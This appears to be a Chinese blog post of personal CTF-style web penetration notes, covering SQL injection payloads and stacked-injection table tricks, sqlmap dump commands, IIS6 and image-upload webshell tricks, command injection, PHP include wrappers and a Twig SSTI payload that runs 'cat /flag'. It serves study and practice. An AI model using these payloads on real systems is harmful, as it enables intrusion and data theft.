• web渗透部分笔记(一)


    php 备份名 .bak

    mysql -u root -p shell 连接数据库

    1 sql 注入

    1、判断注入漏洞:
    (1)and 1=1 / and 1=2 若回显页面不同则说明是整形注入,否则不是
    (2)-1/+1 回显下一个或上一个页面说明是整形注入,否则不是
    (3)单引号判断 ‘ 显示数据库错误信息或者页面回显不同,说明是字符型注入

    2、判断字段数

    构造语句:id=1’ order by 1,2,3,4…# 或者1’ order by 1,2,3,4…# 构造闭合语句查询 x从1,2,3,4…逐个尝试,直到试到n时没有回显或回显错误,则字段数为n-1。

    3、判断回显位

    原因:个人理解是假设网页只显示某个窗口,我们查询数据库的信息就由此窗口显示。所以我们想要查询出某些信息,就要把对应的属性放到这个位置上,这样就能通过这个窗口显示出我们需要的信息。
    要判断回显位我们可以通过构造union联合查询语句1’ union select 1,2,3,4#(假设上一步判断出字段数为4)然后观察网页的显示

    4、假设上一步已经得到回显位为4,接下来我们可以查询数据库1’ union select 1,2,3,database()#

    查询显示得到名为skctf,进行下一步

    5、查询表名:id=0’ union select 1,2,3,table_name from information_schema.tables where table_schema=‘skctf’#

    1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#

    group_concat //连接字段

    union select被过滤掉了

    绕过过滤有挺多方法的 这里:SQL注入绕过关键词

    我使用注释符绕过:union/**/select

    查询显示得到fl4g,进行下一步
    (MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),我们可以通过这个数据库进行相关查询)
    6 然后使用“堆叠注入”(就是通过 ; 号注入多条SQL语句),可以通过show databases查看数据库
    0’; show databases; # // 或者 1’;show databases-- q
    0’; show tables;#
    1’; show columns from table;#
    查看表 1919810931114514 的内容。(表名为数字时,要用反引号包起来查询。)
    0’; show columns from 1919810931114514; #

    反写表名
    1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

    HANDLER … OPEN语句打开一个表
    HANDLER … READ语句访问
    HANDLER … CLOSE关闭一个表

    1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

    》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

    sqlmap 使用

    1现在是判断网站数据库类型,命令格式 :sqlmap -u 目标网址

    2命令格式:sqlmap -u 目标网址 --dbs 回车,就可以查看到目标存在的数据库

    3查看指定数据库中存在的表 sqlmap -u 目标网址 --tables -D 数据库名

    4 查看表中的字段 命令格式:sqlmap -u 目标网址 --columns -T 表名 -D 数据库名

    5查看表里存储的内容 命令格式:sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名
    》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

    iis6本身的漏洞,利用建立*.asp文件夹,其中的文件都会解析成asp文件 可进行 webshell
    》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

    图片强改php 添加木马 webshell 可用

    》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

    Exec 命令行漏洞 ;号拼接命令

    》》》》》》》》》》》》》》》》》》》

    php Include 漏洞

    php://input
    php://filter/read=convert.base64-encode/resource=文件名.php

    查看php 源码

    view-source

    SSTI注入

    {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}

    Php过滤 md5( i d ) = = = m d 5 ( id) === md5( id)===md5(gg) && $id !== $gg

    ?id[]=1&gg[]=2

    根据Base64和Base32 区别:

    base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
    base32中只包含大写字母(A-Z)和数字234567

  • 相关阅读:
    leetCode 15.三数之和 双指针解法
    Worthington磷脂酶A2研究丨磷脂酰胆碱2-乙酰水解酶
    MySQL中的内置函数
    数组合并和对象合并的方法
    scrcpy macos 编译安装最新版 1.2.4
    网络安全(黑客)—-2024自学手册
    c++程序
    sched,进程调度窥探,进程调度直观感受
    WPFdatagrid结合comboBox
    深入剖析C++多态的实现与原理-详解
  • 原文地址:https://blog.csdn.net/weixin_44423437/article/details/125380561